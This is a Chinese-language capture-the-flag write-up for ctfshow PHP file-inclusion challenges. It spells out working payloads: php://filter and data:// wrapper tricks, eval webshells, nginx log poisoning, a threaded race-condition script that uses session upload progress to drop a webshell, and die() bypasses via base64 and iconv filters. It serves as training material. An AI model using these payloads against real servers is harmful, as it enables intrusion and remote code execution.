web78
没有过滤,直接包含
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
使用php伪协议包含flag.php文件并以baes64编码显示。
得到:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3tmZmU5OTVjYS0xY2RjLTQ1MjktOWQ1Ny1iOTZiMDQxNmMxODR9Ijs=
base64解码即可
web79
过滤字符串php,把php替换成了???
这里我用的data协议。因为过滤了php,所以又使用了短标签=
?file=data://text/plain,<?= @eval($_POST['1']);?>
然后post:
1=system('cat flag.php');
左击查看网页源代码,就能发现flag
或者:
#php可以用大小写绕过
?file=data://text/plain,<?pHp system('cat flag.php');?>
?file=data://text/plain,<?= system('cat flag.php');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web80
本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。
环境是nginx的,有一个nginx访问日志/var/log/nginx/access.log ,我们包含它看看。
?file=/var/log/nginx/access.log
它的内容是这样的:
172.12.17.35 - - [08/Aug/2022:02:09:38 +0000] “GET /?file=/var/log/nginx/access.log HTTP/1.1” 200 170 “-“ “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0”
有ip、时间、参数值、user-agent
其中user-agent是我们比较好操控的,抓包在user-agent后面写入一句话,直接放包。
然后包含日志文件,执行后门:
?file=/var/log/nginx/access.log&2=system('ls');phpinfo();
?file=/var/log/nginx/access.log&2=system('tac fl0g.php');phpinfo();
web81和web80一样
web82
过滤php、data 、: 、.
问题一:如何利用
过滤了点之后我们只能包含无后缀的文件,而在php中无后缀文件就是session文件。
我们可以利用session.upload_progress来进行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS参数,该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项
session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中;cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;prefix+name将表示为session中的键名;
name的值可控,而且prefix+name的值会被写入session文件里面。那我们就可以控制name的值为一句话木马,然后被写入session文件,再包含这个session文件进行getshell。
问题二:如何开启session
既然要生成session文件,那必须要开启session会话呀,可是题目代码里并没有开启session会话的代码。
如果
session.auto_start=on,则php会在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在请求包的Cookie里设置PHPSESSID=ja1e,PHP将会在服务器上创建一个session文件:/tmp/sess_ja1e。
通过在请求包的Cookie里设置PHPSESSID的方式,即可以开启session,又可以知道session文件的文件名。
问题三:cleanup = on,session文件被删除怎么办
cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容
通过了解PHP_SESSION_UPLOAD_PROGRESS的cleanup选项,我们知道文件上传结束后,php将会立即清空session文件。如果我们手工去包含session文件,时间肯定是来不及的,session文件早就被删了。
所以我们需要利用条件竞争
脚本(建议自己写写):
import io,threading,requests
url = 'http://c51db129-a21f-45a7-aa70-76187d628ea9.challenge.ctf.show/'
sessionid = 'eve'
data = {
'1':'file_put_contents("/var/www/html/2.php","<?php eval(\$_POST[2]);?>");'
}
def write(session):
while 1:
fileBytes = io.BytesIO(b'a'*1024*500)
response = session.post(url,data={
"PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[1]);?>"
},
cookies = {
'PHPSESSID':sessionid
},
files = {
'file':('test.jpg',fileBytes)
})
# print(response.text)
def read(session):
while 1:
response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies = {
'PHPSESSID':sessionid
} )
response2 = session.get(url+'2.php')
if response2.status_code == 200:
print("+++++++++++done+++++++++++")
else:
print(response2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(3):
threading.Thread(target=write,args=(session,)).start()
for i in range(3):
threading.Thread(target=read, args=(session,)).start()
event.set()
若成功+++++++++++done+++++++++++,访问2.php,木马密码是2。
学习链接:
- https://www.freebuf.com/vuls/202819.html
- web82-1_哔哩哔哩_bilibili
- ctfshowweb入门文件包含78-88_林一不是01的博客-CSDN博客
web82-86用py脚本都能跑过,条件竞争yyds
web87
过滤了php、data、:、.
有两个参数:file、content ,只对file进行了过滤。
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
把
"<?php die('大佬别秀了');?>".$content写入文件file。$content在开头增加了die函数,导致即使我们成功写入一句话,程序还是会直接退出,执行不了我们的一句话木马。
其实这里file参数是可以控制协议的,如果我们使用php://filter协议,利用base64_decode函数去包含、读取这个文件,那就可以去除 不在base64编码可打印字符 里的一些字符,从而让die函数无法执行。
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
所以,当$content被加上了<?php die('大佬别秀了');?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符 <、?、;、>、空格、汉字 等字符不符合base64编码的字符范围将被忽略,所以最终被解码出来的的字符就变成 “phpdie” 和 我们传入的$content的值。
“phpdie”一共6个字符,因为base64算法解码时是4个byte一组,所以给它增加2个“a”一共8个字符。这样,”phpdieaa”就可以被正常解码,而后面我们传入的webshell的base64内容也被正常解码。
GET传参:
?file=php://filter/convert.base64-decode/resource=2.php
进行url全编码↓
?file=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%32%2E%70%68%70
进行url编码 ↓
?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2532%252e%2570%2568%2570
POST传参:
content=<?php system('cat f*.php');?>
进行base64编码 ↓
content=PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4
前面要加两个字符a
content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4
所以最终的payload:
?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2532%252e%2570%2568%2570
content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4
然后访问2.php,源代码看到flag
学习链接:谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
web88
发现过滤的还是比较多,但是没有过滤: ,那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =,因为过滤了=
把 <?php system(“cat fl0g.php”); 加密–>PD9waHAg3lzdGVtKCJjYXQgZmwwZy5waHAiKTs=,然后去掉=
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTs
web116
先下载视频,用editor010打开,ctrl+f 然后输入89504E47,查找png文件头
把89504E47之前的字符全部删除,然后保存文件,更改文件后缀为.png,得到源码的png图片。

因为浏览器看不了网页源代码,我们抓包,发送到repeater模块
?file=flag.php
得到flag
web117
和web87差不多,绕过死亡代码die(),但是过滤了base64,那我们换一种编码方式不就得了
payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
contents=?<hp pe@av(l_$OPTSa[aa]a;)>?
然后访问2.php
post:
aaaa=system(“tac flag.php”);